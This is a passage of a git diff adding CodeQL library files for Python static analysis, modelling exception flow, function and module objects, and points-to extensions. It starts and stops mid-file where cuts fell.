ExceptFlowNode) + ) + } + + /** Whether this exceptional exit is viable. That is, is it + * plausible that the scope `s` can be exited with exception `raised` + * at this point. + */ + predicate viableExceptionalExit(Scope s, ClassObject raised) { + raised.isLegalExceptionType() and + raised = this.getARaisedType() and + this.isExceptionalExit(s) and + not ((ExceptFlowNode)this.getAnExceptionalSuccessor()).handles(raised) + } + +} + +/** Is this a sequence or mapping subscript x[i]? */ +private predicate sequence_or_mapping(RaisingNode r) { + r.getNode() instanceof Subscript +} + +private predicate current_exception(ClassObject ex, BasicBlock b) { + exists(RaisingNode r | + r.viableExceptionEdge(b.getNode(0), ex) and not b.getNode(0) instanceof ExceptFlowNode + ) + or + exists(BasicBlock prev | + current_exception(ex, prev) and + exists(ControlFlowNode pred, ControlFlowNode succ | + pred = prev.getLastNode() and succ = b.getNode(0) | + pred.getASuccessor() = succ and + (/* Normal control flow */ + not pred.getAnExceptionalSuccessor() = succ or + /* Re-raise the current exception, propagating to the successor */ + pred instanceof ReraisingNode) + ) + ) +} + +private predicate unknown_current_exception(BasicBlock b) { + exists(RaisingNode r | + r.raisesUnknownType() and + r.getAnExceptionalSuccessor() = b.getNode(0) and + not b.getNode(0) instanceof ExceptFlowNode + ) + or + exists(BasicBlock prev | + unknown_current_exception(prev) and + exists(ControlFlowNode pred, ControlFlowNode succ | + pred = prev.getLastNode() and succ = b.getNode(0) | + pred.getASuccessor() = succ and + (not pred.getAnExceptionalSuccessor() = succ or pred instanceof ReraisingNode) + ) + ) +} + +/** INTERNAL -- Use FunctionObject.getARaisedType() instead */ +predicate scope_raises(ClassObject ex, Scope s) { + exists(BasicBlock b | + current_exception(ex, b) and + b.getLastNode().isExceptionalExit(s) | + b.getLastNode() instanceof ReraisingNode + ) + or + exists(RaisingNode r | r.viableExceptionalExit(s, ex)) +} + +/** INTERNAL -- Use FunctionObject.raisesUnknownType() instead */ +predicate scope_raises_unknown(Scope s) { + exists(BasicBlock b | + b.getLastNode() instanceof ReraisingNode + and b.getLastNode().isExceptionalExit(s) | + unknown_current_exception(b) + ) + or + exists(RaisingNode r | + r.raisesUnknownType() and + r.isExceptionalExit(s) + ) +} + + +/** ControlFlowNode for an 'except' statement. */ +class ExceptFlowNode extends ControlFlowNode { + + ExceptFlowNode() { + this.getNode() instanceof ExceptStmt + } + + ControlFlowNode getType() { + exists(ExceptStmt ex | + this.getBasicBlock().dominates(result.getBasicBlock()) and + ex = this.getNode() and result = ex.getType().getAFlowNode() + ) + } + + ControlFlowNode getName() { + exists(ExceptStmt ex | + this.getBasicBlock().dominates(result.getBasicBlock()) and + ex = this.getNode() and result = ex.getName().getAFlowNode() + ) + } + + private predicate handledObject(Object obj, ClassObject cls, ControlFlowNode origin) { + this.getType().refersTo(obj, cls, origin) + or + exists(Object tup | + this.handledObject(tup, theTupleType(), _) | + element_from_tuple(tup).refersTo(obj, cls, origin) + ) + } + + /** Gets the inferred type(s) that are handled by this node, splitting tuples if possible. */ + pragma [noinline] + predicate handledException(Object obj, ClassObject cls, ControlFlowNode origin) { + this.handledObject(obj, cls, origin) and not cls = theTupleType() + or + not exists(this.getNode().(ExceptStmt).getType()) and obj = theBaseExceptionType() and cls = theTypeType() and + origin = this + } + + /** Whether this `except` handles `cls` */ + predicate handles(ClassObject cls) { + exists(ClassObject handled | + this.handledException(handled, _, _) | + cls.getAnImproperSuperType() = handled + ) + } + +} + +private ControlFlowNode element_from_tuple(Object tuple) { + exists(Tuple t | + t = tuple.getOrigin() and result = t.getAnElt().getAFlowNode() + ) +} + +/** A Reraising node is the node at the end of a finally block (on the exceptional branch) + * that reraises the current exception. + */ +class ReraisingNode extends RaisingNode { + + ReraisingNode() { + not this.getNode() instanceof Raise and + in_finally(this) and + forall(ControlFlowNode succ | + succ = this.getASuccessor() | + succ = this.getAnExceptionalSuccessor() + ) + } + + /** Gets a class that may be raised by this node */ + override ClassObject getARaisedType() { + exists(BasicBlock b | + current_exception(result, b) and + b.getNode(_) = this + ) + } + +} + +private predicate in_finally(ControlFlowNode n) { + exists(Stmt f | + exists(Try t | f = t.getAFinalstmt()) | + f = n.getNode() + or + f.containsInScope(n.getNode()) + ) +} + + + diff --git a/python/ql/src/semmle/python/types/Extensions.qll b/python/ql/src/semmle/python/types/Extensions.qll new file mode 100644 index 00000000000..619978ff325 --- /dev/null +++ b/python/ql/src/semmle/python/types/Extensions.qll @@ -0,0 +1,59 @@ +/** This library allows custom extensions to the points-to analysis to incorporate + * custom domain knowledge into the points-to analysis. + * + * This should be considered an advance feature. Modifying the points-to analysis + * can cause queries to give strange and misleading results, if not done with care. + */ + +import python +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.PointsToContext + +/* Custom Facts. This extension mechanism allows you to add custom + * sources of data to the points-to analysis. + */ + +abstract class CustomPointsToFact extends @py_flow_node { + + string toString() { none() } + + abstract predicate pointsTo(Context context, Object value, ClassObject cls, ControlFlowNode origin); + +} + +/* For backwards compatibility */ +class FinalCustomPointsToFact = CustomPointsToFact; + +abstract class CustomPointsToOriginFact extends CustomPointsToFact { + + abstract predicate pointsTo(Object value, ClassObject cls); + + override predicate pointsTo(Context context, Object value, ClassObject cls, ControlFlowNode origin) { + this.pointsTo(value, cls) and origin = this and context.appliesTo(this) + } + +} + +/* An example */ + +/** Any variable iterating over range or xrange must be an integer */ +class RangeIterationVariableFact extends CustomPointsToFact { + + RangeIterationVariableFact() { + exists(For f, ControlFlowNode iterable | + iterable.getBasicBlock().dominates(this.(ControlFlowNode).getBasicBlock()) and + f.getIter().getAFlowNode() = iterable and + f.getTarget().getAFlowNode() = this and + PointsTo::points_to(iterable, _, theRangeType(), _, _) + ) + } + + override predicate pointsTo(Context context, Object value, ClassObject cls, ControlFlowNode origin) { + value = this and + origin = this and + cls = theIntType() and + context.appliesTo(this) + } +} + + diff --git a/python/ql/src/semmle/python/types/FunctionObject.qll b/python/ql/src/semmle/python/types/FunctionObject.qll new file mode 100644 index 00000000000..dffc14a0e27 --- /dev/null +++ b/python/ql/src/semmle/python/types/FunctionObject.qll @@ -0,0 +1,379 @@ +import python +import semmle.python.types.Exceptions +private import semmle.python.pointsto.PointsTo +private import semmle.python.libraries.Zope +private import semmle.python.pointsto.Base + +/** A function object, whether written in Python or builtin */ +abstract class FunctionObject extends Object { + + predicate isOverridingMethod() { + exists(Object f | this.overrides(f)) + } + + predicate isOverriddenMethod() { + exists(Object f | f.overrides(this)) + } + + Function getFunction() { + result = ((CallableExpr)this.getOrigin()).getInnerScope() + } + + /** This function always returns None, meaning that its return value should be disregarded */ + abstract predicate isProcedure(); + + /** Gets the name of this function */ + abstract string getName(); + + /** Gets a class that may be raised by this function */ + abstract ClassObject getARaisedType(); + + /** Whether this function raises an exception, the class of which cannot be inferred */ + abstract predicate raisesUnknownType(); + + /** Use descriptiveString() instead. */ + deprecated string prettyString() { + result = this.descriptiveString() + } + + /** Gets a longer, more descriptive version of toString() */ + abstract string descriptiveString(); + + /** Gets a call-site from where this function is called as a function */ + CallNode getAFunctionCall() { + PointsTo::function_call(this, _, result) + } + + /** Gets a call-site from where this function is called as a method */ + CallNode getAMethodCall() { + PointsTo::method_call(this, _, result) + } + + /** Gets a call-site from where this function is called */ + ControlFlowNode getACall() { + result = PointsTo::get_a_call(this, _) + } + + /** Gets a call-site from where this function is called, given the `context` */ + ControlFlowNode getACall(Context caller_context) { + result = PointsTo::get_a_call(this, caller_context) + } + + /** Gets the `ControlFlowNode` that will be passed as the nth argument to `this` when called at `call`. + This predicate will correctly handle `x.y()`, treating `x` as the zeroth argument. + */ + ControlFlowNode getArgumentForCall(CallNode call, int n) { + result = PointsTo::get_positional_argument_for_call(this, _, call, n) + } + + /** Gets the `ControlFlowNode` that will be passed as the named argument to `this` when called at `call`. + This predicate will correctly handle `x.y()`, treating `x` as the self argument. + */ + ControlFlowNode getNamedArgumentForCall(CallNode call, string name) { + result = PointsTo::get_named_argument_for_call(this, _, call, name) + } + + /** Whether this function never returns. This is an approximation. + */ + predicate neverReturns() { + PointsTo::function_never_returns(this) + } + + /** Whether this is a "normal" method, that is, it is exists as a class attribute + * which is not wrapped and not the __new__ method. */ + predicate isNormalMethod() { + exists(ClassObject cls, string name | + cls.declaredAttribute(name) = this and + name != "__new__" and + not this.getOrigin() instanceof Lambda + ) + } + + /** Gets the minimum number of parameters that can be correctly passed to this function */ + abstract int minParameters(); + + /** Gets the maximum number of parameters that can be correctly passed to this function */ + abstract int maxParameters(); + + /** Gets a function that this function (directly) calls */ + FunctionObject getACallee() { + exists(ControlFlowNode node | + node.getScope() = this.getFunction() and + result.getACall() = node + ) + } + + /** Gets the qualified name for this function object. + * Should return the same name as the `__qualname__` attribute on functions in Python 3. + */ + abstract string getQualifiedName(); + + /** Whether `name` is a legal argument name for this function */ + bindingset[name] + predicate isLegalArgumentName(string name) { + this.getFunction().getAnArg().asName().getId() = name + or + this.getFunction().getAKeywordOnlyArg().getId() = name + or + this.getFunction().hasKwArg() + } + + /** Gets a class that this function may return */ + ClassObject getAnInferredReturnType() { + result = this.(BuiltinCallable).getAReturnType() + } + + predicate isAbstract() { + this.getARaisedType() = theNotImplementedErrorType() + } + +} + +class PyFunctionObject extends FunctionObject { + + PyFunctionObject() { + this.getOrigin() instanceof CallableExpr + } + + override string toString() { + result = "Function " + this.getName() + } + + override string getName() { + result = ((FunctionExpr)this.getOrigin()).getName() + or + this.getOrigin() instanceof Lambda and result = "lambda" + } + + /** Whether this function is a procedure, that is, it has no explicit return statement and is not a generator function */ + override predicate isProcedure() { + this.getFunction().isProcedure() + } + + override ClassObject getARaisedType() { + scope_raises(result, this.getFunction()) + } + + override predicate raisesUnknownType() { + scope_raises_unknown(this.getFunction()) + } + + /** Gets a control flow node corresponding to the value of a return statement */ + ControlFlowNode getAReturnedNode() { + exists(Return ret | + ret.getScope() = this.getFunction() and + result.getNode() = ret.getValue() + ) + } + + override string descriptiveString() { + if this.getFunction().isMethod() then ( + exists(Class cls | + this.getFunction().getScope() = cls | + result = "method " + this.getQualifiedName() + ) + ) else ( + result = "function " + this.getQualifiedName() + ) + } + + override int minParameters() { + exists(Function f | + f = this.getFunction() and + result = count(f.getAnArg()) - count(f.getDefinition().getArgs().getADefault()) + ) + } + + override int maxParameters() { + exists(Function f | + f = this.getFunction() and + if exists(f.getVararg()) then + result = 2147483647 // INT_MAX + else + result = count(f.getAnArg()) + ) + } + + override string getQualifiedName() { + result = this.getFunction().getQualifiedName() + } + + predicate unconditionallyReturnsParameter(int n) { + exists(SsaVariable pvar | + exists(Parameter p | p = this.getFunction().getArg(n) | + p.asName().getAFlowNode() = pvar.getDefinition() + ) and + exists(NameNode rval | + rval = pvar.getAUse() and + exists(Return r | r.getValue() = rval.getNode()) and + rval.strictlyDominates(rval.getScope().getANormalExit()) + ) + ) + } + + /** Factored out to help join ordering */ + private predicate implicitlyReturns(Object none_, ClassObject noneType) { + noneType = theNoneType() and not this.getFunction().isGenerator() and none_ = theNoneObject() and + ( + not exists(this.getAReturnedNode()) and exists(this.getFunction().getANormalExit()) + or + exists(Return ret | ret.getScope() = this.getFunction() and not exists(ret.getValue())) + ) + } + + /** Gets a class that this function may return */ + override ClassObject getAnInferredReturnType() { + this.getFunction().isGenerator() and result = theGeneratorType() + or + not this.neverReturns() and not this.getFunction().isGenerator() and + ( + this.(PyFunctionObject).getAReturnedNode().refersTo( _, result, _) + or + this.implicitlyReturns(_, result) + ) + } + + ParameterDefinition getParameter(int n) { + result.getDefiningNode().getNode() = this.getFunction().getArg(n) + } + +} + +abstract class BuiltinCallable extends FunctionObject { + + abstract ClassObject getAReturnType(); + + override predicate isProcedure() { + forex(ClassObject rt | + rt = this.getAReturnType() | + rt = theNoneType() + ) + } + + abstract override string getQualifiedName(); + +} + +class BuiltinMethodObject extends BuiltinCallable { + + BuiltinMethodObject() { + py_cobjecttypes(this, theMethodDescriptorType()) + or + py_cobjecttypes(this, theBuiltinFunctionType()) and exists(ClassObject c | py_cmembers_versioned(c, _, this, major_version().toString())) + or + exists(ClassObject wrapper_descriptor | + py_cobjecttypes(this, wrapper_descriptor) and + py_cobjectnames(wrapper_descriptor, "wrapper_descriptor") + ) + } + + override string getQualifiedName() { + exists(ClassObject cls | + py_cmembers_versioned(cls, _, this, major_version().toString()) | + result = cls.getName() + "." + this.getName() + ) + or + not exists(ClassObject cls | py_cmembers_versioned(cls, _, this, major_version().toString())) and + result = this.getName() + } + + override string descriptiveString() { + result = "builtin-method " + this.getQualifiedName() + } + + override string getName() { + py_cobjectnames(this, result) + } + + override string toString() { + result = "Builtin-method " + this.getName() + } + + override ClassObject getARaisedType() { + /* Information is unavailable for C code in general */ + none() + } + + override predicate raisesUnknownType() { + /* Information is unavailable for C code in general */ + any() + } + + override int minParameters() { + none() + } + + override int maxParameters() { + none() + } + + override ClassObject getAReturnType() { + ext_rettype(this, result) + } + +} + +class BuiltinFunctionObject extends BuiltinCallable { + + BuiltinFunctionObject() { + py_cobjecttypes(this, theBuiltinFunctionType()) and exists(ModuleObject m | py_cmembers_versioned(m, _, this, major_version().toString())) + } + + override string getName() { + py_cobjectnames(this, result) + } + + override string getQualifiedName() { + result = this.getName() + } + + override string toString() { + result = "Builtin-function " + this.getName() + } + + override string descriptiveString() { + result = "builtin-function " + this.getName() + } + + override ClassObject getARaisedType() { + /* Information is unavailable for C code in general */ + none() + } + + override predicate raisesUnknownType() { + /* Information is unavailable for C code in general */ + any() + } + + override ClassObject getAReturnType() { + /* Enumerate the types of a few builtin functions, that the CPython analysis misses. + */ + this = builtin_object("hex") and result = theStrType() + or + this = builtin_object("oct") and result = theStrType() + or + this = builtin_object("intern") and result = theStrType() + or + /* Fix a few minor inaccuracies in the CPython analysis */ + ext_rettype(this, result) and not ( + this = builtin_object("__import__") and result = theNoneType() + or + this = builtin_object("compile") and result = theNoneType() + or + this = builtin_object("sum") + or + this = builtin_object("filter") + ) + } + + override int minParameters() { + none() + } + + override int maxParameters() { + none() + } + +} + + diff --git a/python/ql/src/semmle/python/types/IgnoredAndApproximations.txt b/python/ql/src/semmle/python/types/IgnoredAndApproximations.txt new file mode 100644 index 00000000000..2b2540e35ee --- /dev/null +++ b/python/ql/src/semmle/python/types/IgnoredAndApproximations.txt @@ -0,0 +1,47 @@ +List of approximations used and semantic details that are ignored +================================================================= + +1. Metaclass __getattribute___ + +Attribute lookup on a class, but not its instances, used the __getattribute__() +method of the metaclass. I doubt anyone every overrides this method except for debugging +or testing frameworks, so we ignore the possibility that for a class C +(type(C)).__getattribute__ != type.__getattribute__ + +2. Class __getattribute__ +Many analyses are context-insensitive. For those analyses any instance of a class that +defines __getattribute__ are treated as having unknowable attributes. + +3. Class and Function descriptors +Class and Function descriptors provide a challenge. +The resulting entity is the result of calling the descriptor with the function as input: +@dec +def f(): pass +is equivalent to f = dec(f) + +and decorators themselves can be the result of calling a higher-order function +and can, also be themselves decorated. + +This clearly requires context sensitive analysis. +@dec(x): +def f(): pass +is equivalent to f = dec(x)(f) +but in a context-insensitive context. +Need a method: +Object decoratored_function(Object decorator, Object undecorated); +But what is the decorator and what object is available as a result? +Need to create an object for each decorator of a class or function. +That should be the actual Object. + +There is an assumption that each Object has a one-to-one mapping with a FlowNode +adding extra Objects for decorators might be a problem, since the decorator 'dec' +will point to another object (it could even points to itself if it were a lambda), +yet we need an Object for each level of decorated function. +To do this all decorated function object have the (Function|Class)Expr as + origin. This requires that the getOrigin() method will need refinement for those + QL types. + + + + + diff --git a/python/ql/src/semmle/python/types/ImportTime.qll b/python/ql/src/semmle/python/types/ImportTime.qll new file mode 100644 index 00000000000..0a9e7c9d145 --- /dev/null +++ b/python/ql/src/semmle/python/types/ImportTime.qll @@ -0,0 +1,35 @@ +import python + +/** An ImportTimeScope is any scope that is not nested within a function and will thus be executed if its + * enclosing module is imported. + * Note however, that if a scope is not an ImportTimeScope it may still be executed at import time. + * This is an artificial approximation, which is necessary for static analysis. + */ +class ImportTimeScope extends Scope { + + ImportTimeScope() { + not this.getEnclosingScope*() instanceof Function + } + + /** Whether this scope explicitly defines 'name'. + * Does not cover implicit definitions be import * */ + pragma[nomagic] + predicate definesName(string name) { + exists(SsaVariable var | name = var.getId() and var.getAUse() = this.getANormalExit()) + } + + /** Holds if the control flow passes from `outer` to `inner` when this scope starts executing */ + predicate entryEdge(ControlFlowNode outer, ControlFlowNode inner) { + inner = this.getEntryNode() and + outer.getNode().(ClassExpr).getInnerScope() = this + } + + /** Gets the global variable that is used during lookup, should `var` be undefined. */ + GlobalVariable getOuterVariable(LocalVariable var) { + this instanceof Class and + var.getScope() = this and + result.getScope() = this.getEnclosingModule() and + var.getId() = result.getId() + } + +} diff --git a/python/ql/src/semmle/python/types/ModuleKind.qll b/python/ql/src/semmle/python/types/ModuleKind.qll new file mode 100644 index 00000000000..abb39626ff1 --- /dev/null +++ b/python/ql/src/semmle/python/types/ModuleKind.qll @@ -0,0 +1,41 @@ +import python + +private predicate is_normal_module(ModuleObject m) { + m instanceof BuiltinModuleObject + or + m instanceof PackageObject + or + exists(ImportingStmt i | m.importedAs(i.getAnImportedModuleName())) + or + m.getName().matches("%\\_\\_init\\_\\_") +} + +private predicate is_script(ModuleObject m) { + not is_normal_module(m) and ( + m.getModule().getFile().getExtension() != ".py" + or + exists(If i, Name name, StrConst main, Cmpop op | + i.getScope() = m.getModule() and + op instanceof Eq and + i.getTest().(Compare).compares(name, op, main) and + name.getId() = "__name__" and main.getText() = "__main__" + ) + ) +} + +private predicate is_plugin(ModuleObject m) { + // This needs refining but is sufficient for our present needs. + not is_normal_module(m) and + not is_script(m) +} + +/** Gets the kind for module `m` will be one of + * "module", "script" or "plugin" + */ +string getKindForModule(ModuleObject m) { + is_normal_module(m) and result = "module" + or + is_script(m) and result = "script" + or + is_plugin(m) and result = "plugin" +} diff --git a/python/ql/src/semmle/python/types/ModuleObject.qll b/python/ql/src/semmle/python/types/ModuleObject.qll new file mode 100644 index 00000000000..6a05cf0afe3 --- /dev/null +++ b/python/ql/src/semmle/python/types/ModuleObject.qll @@ -0,0 +1,259 @@ +import python +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.Base +private import semmle.python.types.ModuleKind + +abstract class ModuleObject extends Object { + + ModuleObject () { + exists(Module m | m.getEntryNode() = this) + or + py_cobjecttypes(this, theModuleType()) + } + + /** Gets the scope corresponding to this module, if this is a Python module */ + Module getModule() { + none() + } + + Container getPath() { + none() + } + + /** Gets the name of this scope */ + abstract string getName(); + + override string toString() { + result = "Module " + this.getName() + } + + /** Gets the named attribute of this module. Using attributeRefersTo() instead + * may provide better results for presentation. */ + pragma [noinline] + abstract Object getAttribute(string name); + + /** Whether the named attribute of this module "refers-to" value, with a known origin. + */ + abstract predicate attributeRefersTo(string name, Object value, ControlFlowNode origin); + + /** Whether the named attribute of this module "refers-to" value, with known class and a known origin. + */ + abstract predicate attributeRefersTo(string name, Object value, ClassObject cls, ControlFlowNode origin); + + /** Gets the package for this module. */ + PackageObject getPackage() { + this.getName().matches("%.%") and + result.getName() = this.getName().regexpReplaceAll("\\.[^.]*$", "") + } + + /** Whether this module "exports" `name`. That is, whether using `import *` on this module + will result in `name` being added to the namespace. */ + predicate exports(string name) { + PointsTo::module_exports(this, name) + } + + /** Whether the complete set of names "exported" by this module can be accurately determined */ + abstract predicate exportsComplete(); + + /** Gets the short name of the module. For example the short name of module x.y.z is 'z' */ + string getShortName() { + result = this.getName().suffix(this.getPackage().getName().length()+1) + or + result = this.getName() and not exists(this.getPackage()) + } + + /** Whether this module is imported by 'import name'. For example on a linux system, + * the module 'posixpath' is imported as 'os.path' or as 'posixpath' */ + predicate importedAs(string name) { + PointsTo::module_imported_as(this, name) + } + + abstract predicate hasAttribute(string name); + + ModuleObject getAnImportedModule() { + result.importedAs(this.getModule().getAnImportedModuleName()) + } + + /** Gets the kind for this module. Will be one of + * "module", "script" or "plugin". + */ + string getKind() { + result = getKindForModule(this) + } + + override boolean booleanValue() { + result = true + } + +} + +class BuiltinModuleObject extends ModuleObject { + + BuiltinModuleObject () { + py_cobjecttypes(this, theModuleType()) + } + + override string getName() { + py_cobjectnames(this, result) + } + + override Object getAttribute(string name) { + py_cmembers_versioned(this, name, result, major_version().toString()) + } + + override predicate hasAttribute(string name) { + py_cmembers_versioned(this, name, _, major_version().toString()) + } + + override predicate attributeRefersTo(string name, Object value, ControlFlowNode origin) { + none() + } + + override predicate attributeRefersTo(string name, Object value, ClassObject cls, ControlFlowNode origin) { + none() + } + + override predicate exportsComplete() { + any() + } + + +} + +class PythonModuleObject extends ModuleObject { + + PythonModuleObject() { + exists(Module m | m.getEntryNode() = this | + not m.isPackage() + ) + } + + override string getName() { + result = this.getModule().getName() + } + + override Module getModule() { + result = this.getOrigin() + } + + override Container getPath() { + result = this.getModule().getFile() + } + + override Object getAttribute(string name) { + this.attributeRefersTo(name, result, _, _) + } + + override predicate exportsComplete() { + exists(Module m | + m = this.getModule() | + not exists(Call modify, Attribute attr, GlobalVariable all | + modify.getScope() = m and modify.getFunc() = attr and + all.getId() = "__all__" | + attr.getObject().(Name).uses(all) + ) + ) + } + + override predicate hasAttribute(string name) { + PointsTo::module_defines_name(this.getModule(), name) + or + this.attributeRefersTo(name, _, _, _) + or + /* The interpreter always adds the __name__ and __package__ attributes */ + name = "__name__" or name = "__package__" + } + + override predicate attributeRefersTo(string name, Object value, ControlFlowNode origin) { + PointsTo::py_module_attributes(this.getModule(), name, value, _, origin) + } + + override predicate attributeRefersTo(string name, Object value, ClassObject cls, ControlFlowNode origin) { + PointsTo::py_module_attributes(this.getModule(), name, value, cls, origin) + } + +} + +/** Primarily for internal use. + * + * Gets the object for the string text. + * The extractor will have populated a str object + * for each module name, with the name b'text' or u'text' (including the quotes). + */ +Object object_for_string(string text) { + py_cobjecttypes(result, theStrType()) and + exists(string repr | + py_cobjectnames(result, repr) and + repr.charAt(1) = "'" | + /* Strip quotes off repr */ + text = repr.substring(2, repr.length()-1) + ) +} + +class PackageObject extends ModuleObject { + + PackageObject() { + exists(Module p | p.getEntryNode() = this | + p.isPackage() + ) + } + + override string getName() { + result = this.getModule().getName() + } + + override Module getModule() { + result = this.getOrigin() + } + + override Container getPath() { + exists(ModuleObject m | + m.getPackage() = this | + result = m.getPath().getParent() + ) + } + + ModuleObject submodule(string name) { + result.getPackage() = this and + name = result.getShortName() + } + + override Object getAttribute(string name) { + PointsTo::package_attribute_points_to(this, name, result, _, _) + } + + PythonModuleObject getInitModule() { + result.getModule() = this.getModule().getInitModule() + } + + override predicate exportsComplete() { + not exists(this.getInitModule()) + or + this.getInitModule().exportsComplete() + } + + override predicate hasAttribute(string name) { + exists(this.submodule(name)) + or + this.getInitModule().hasAttribute(name) + } + + override predicate attributeRefersTo(string name, Object value, ControlFlowNode origin) { + PointsTo::package_attribute_points_to(this, name, value, _, origin) + } + + override predicate attributeRefersTo(string name, Object value, ClassObject cls, ControlFlowNode origin) { + PointsTo::package_attribute_points_to(this, name, value, cls, origin) + } + + Location getLocation() { + none() + } + + override predicate hasLocationInfo(string path, int bl, int bc, int el, int ec) { + path = this.getPath().getName() and + bl = 0 and bc = 0 and el = 0 and ec = 0 + } + +} + diff --git a/python/ql/src/semmle/python/types/Object.qll b/python/ql/src/semmle/python/types/Object.qll new file mode 100644 index 00000000000..10b569ed076 --- /dev/null +++ b/python/ql/src/semmle/python/types/Object.qll @@ -0,0 +1,518 @@ +import python +private import semmle.python.pointsto.Base + +private cached predicate is_an_object(@py_object obj) { + /* CFG nodes for numeric literals, all of which have a @py_cobject for the value of that literal */ + not obj.(ControlFlowNode).getNode() instanceof ImmutableLiteral + and + not ( + /* @py_cobjects for modules which have a corresponding Python module */ + exists(@py_cobject mod_type | py_special_objects(mod_type, "ModuleType") and py_cobjecttypes(obj, mod_type)) and + exists(Module m | py_cobjectnames(obj, m.getName())) + ) +} + +/** Instances of this class represent objects in the Python program. However, since + * the QL database is static and Python programs are dynamic, there are necessarily a + * number of approximations. + * + * Each point in the control flow graph where a new object can be created is treated as + * an object. Many builtin objects, such as integers, strings and builtin classes, are + * also treated as 'objects'. Hence each 'object', that is an instance of this class, + * represents a set of actual Python objects in the actual program. + * + * Ideally each set would contain only one member, but that is not possible in practice. + * Many instances of this class will represent many actual Python objects, especially + * if the point in the control flow graph to which they refer is in a loop. Others may not + * refer to any objects. However, for many important objects such as classes and functions, + * there is a one-to-one relation. + */ +class Object extends @py_object { + + Object() { + is_an_object(this) + } + + /** Gets an inferred type for this object, without using inter-procedural analysis. + * WARNING: The lack of context makes this less accurate than f.refersTo(this, result, _) + * for a control flow node 'f' */ + ClassObject getAnInferredType() { + exists(ControlFlowNode somewhere | somewhere.refersTo(this, result, _)) + or + py_cobjecttypes(this, result) and not this = unknownValue() + or + this = unknownValue() and result = theUnknownType() + } + + /** Whether this a builtin object. A builtin object is one defined by the implementation, + such as the integer 4 or by a native extension, such as a NumPy array class. */ + predicate isBuiltin() { + py_cobjects(this) + } + + /** Retained for backwards compatibility. See Object.isBuiltin() */ + predicate isC() { + this.isBuiltin() + } + + /** Gets the point in the source code from which this object "originates". + * + * WARNING: The lack of context makes this less accurate than f.refersTo(this, _, result) + * for a control flow node 'f'. + */ + AstNode getOrigin() { + py_flow_bb_node(this, result, _, _) + } + + private predicate hasOrigin() { + py_flow_bb_node(this, _, _, _) + } + + predicate hasLocationInfo(string filepath, int bl, int bc, int el, int ec) { + this.hasOrigin() and this.getOrigin().getLocation().hasLocationInfo(filepath, bl, bc, el, ec) + or + not this.hasOrigin() and filepath = ":Compiled Code" and bl = 0 and bc = 0 and el = 0 and ec = 0 + } + + string toString() { + this.isC() and + not this = undefinedVariable() and not this = unknownValue() and + exists(ClassObject type, string typename, string objname | + py_cobjecttypes(this, type) and py_cobjectnames(this, objname) and typename = type.getName() | + result = typename + " " + objname + ) + or + result = this.getOrigin().toString() + } + + /** Gets the class of this object for simple cases, namely constants, functions, + * comprehensions and built-in objects. + * + * This exists primarily for internal use. Use getAnInferredType() instead. + */ + cached ClassObject simpleClass() { + result = comprehension(this.getOrigin()) + or + result = collection_literal(this.getOrigin()) + or + result = string_literal(this.getOrigin()) + or + this.getOrigin() instanceof CallableExpr and result = thePyFunctionType() + or + this.getOrigin() instanceof Module and result = theModuleType() + or + py_cobjecttypes(this, result) + } + + private + ClassObject declaringClass(string name) { + result.declaredAttribute(name) = this + } + + /** Whether this overrides o. In this context, "overrides" means that this object + * is a named attribute of a some class C and `o` is a named attribute of another + * class S, both attributes having the same name, and S is a super class of C. + */ + predicate overrides(Object o) { + exists(string name | + declaringClass(name).getASuperType() = o.declaringClass(name) + ) + } + + /** The Boolean value of this object if it always evaluates to true or false. + * For example: + * false for None, true for 7 and no result for int(x) + */ + boolean booleanValue() { + this = theNoneObject() and result = false + or + this = theTrueObject() and result = true + or + this = theFalseObject() and result = false + or + this = theEmptyTupleObject() and result = false + or + exists(Tuple t | t = this.getOrigin() | + exists(t.getAnElt()) and result = true + or + not exists(t.getAnElt()) and result = false + ) + or + exists(Unicode s | s.getLiteralObject() = this | + s.getS() = "" and result = false + or + s.getS() != "" and result = true + ) + or + exists(Bytes s | s.getLiteralObject() = this | + s.getS() = "" and result = false + or + s.getS() != "" and result = true + ) + } + + /** Holds if this object can be referred to by `longName` + * For example, the modules `dict` in the `sys` module + * has the long name `sys.modules` and the name `os.path.join` + * will refer to the path joining function even though it might + * be declared in the `posix` or `nt` modules. + * Long names can have no more than three dots after the module name. + */ + cached predicate hasLongName(string longName) { + this = findByName0(longName) or + this = findByName1(longName) or + this = findByName2(longName) or + this = findByName3(longName) or + exists(ClassMethodObject cm | + cm.hasLongName(longName) and + cm.getFunction() = this + ) + or + exists(StaticMethodObject cm | + cm.hasLongName(longName) and + cm.getFunction() = this + ) + } + +} + +private Object findByName0(string longName) { + result.(ModuleObject).getName() = longName +} + +private Object findByName1(string longName) { + exists(string owner, string attrname | + longName = owner + "." + attrname + | + result = findByName0(owner).(ModuleObject).getAttribute(attrname) + or + result = findByName0(owner).(ClassObject).lookupAttribute(attrname) + ) + and + not result = findByName0(_) +} + +private Object findByName2(string longName) { + exists(string owner, string attrname | + longName = owner + "." + attrname + | + result = findByName1(owner).(ModuleObject).getAttribute(attrname) + or + result = findByName1(owner).(ClassObject).lookupAttribute(attrname) + ) + and not result = findByName0(_) + and not result = findByName1(_) +} + +private Object findByName3(string longName) { + exists(string owner, string attrname | + longName = owner + "." + attrname + | + result = findByName2(owner).(ModuleObject).getAttribute(attrname) + or + result = findByName2(owner).(ClassObject).lookupAttribute(attrname) + ) + and not result = findByName0(_) + and not result = findByName1(_) + and not result = findByName2(_) +} + + +/** Numeric objects (ints and floats). + * Includes those occurring in the source as a literal + * or in a builtin module as a value. + */ +class NumericObject extends Object { + + NumericObject() { + py_cobjecttypes(this, theIntType()) or + py_cobjecttypes(this, theLongType()) or + py_cobjecttypes(this, theFloatType()) + } + + /** Gets the Boolean value that this object + * would evaluate to in a Boolean context, + * such as `bool(x)` or `if x: ...` + */ + override boolean booleanValue() { + this.intValue() != 0 and result = true + or + this.intValue() = 0 and result = false + or + this.floatValue() != 0 and result = true + or + this.floatValue() = 0 and result = false + } + + /** Gets the value of this object if it is a constant integer and it fits in a QL int */ + int intValue() { + (py_cobjecttypes(this, theIntType()) or py_cobjecttypes(this, theLongType())) + and + exists(string s | py_cobjectnames(this, s) and result = s.toInt()) + } + + /** Gets the value of this object if it is a constant float */ + float floatValue() { + (py_cobjecttypes(this, theFloatType())) + and + exists(string s | py_cobjectnames(this, s) and result = s.toFloat()) + } + + /** Gets the string representation of this object, equivalent to calling repr() in Python */ + string repr() { + exists(string s | + py_cobjectnames(this, s) | + if py_cobjecttypes(this, theLongType()) then + result = s + "L" + else + result = s + 